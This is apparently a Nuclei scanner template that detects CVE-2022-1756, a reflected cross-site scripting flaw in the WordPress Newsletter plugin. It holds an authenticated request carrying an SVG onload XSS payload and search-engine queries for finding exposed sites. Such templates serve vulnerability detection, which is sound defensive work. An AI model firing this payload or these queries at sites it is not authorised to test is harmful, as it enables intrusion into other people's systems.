id: CVE-2022-1756

info:
  name: Newsletter < 7.4.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: Fixed in version 7.4.5
  reference:
    - https://wpscan.com/vulnerability/6ad407fe-db2b-41fb-834b-dd8c4f62b072
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1756
    - https://wordpress.org/plugins/newsletter/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1756
    cwe-id: CWE-79
    epss-score: 0.01785
    epss-percentile: 0.76126
    cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thenewsletterplugin
    product: newsletter
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/newsletter/
    fofa-query: body=/wp-content/plugins/newsletter/
    publicwww-query: "/wp-content/plugins/newsletter/"
  tags: cve,cve2022,wpscan,newsletter,xss,authenticated,thenewsletterplugin,wordpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")'
        condition: and
# digest: 4b0a00483046022100812c89c98b05cadbf488b2e5ed526d32fd58e0505ac3f54c69fba41adf6cf7780221009edb25e9988ed9448040e76f4f971d4ee24827788dfeb34f44dad89a3d3464b6:922c64590222798bb761d5b6d8e72950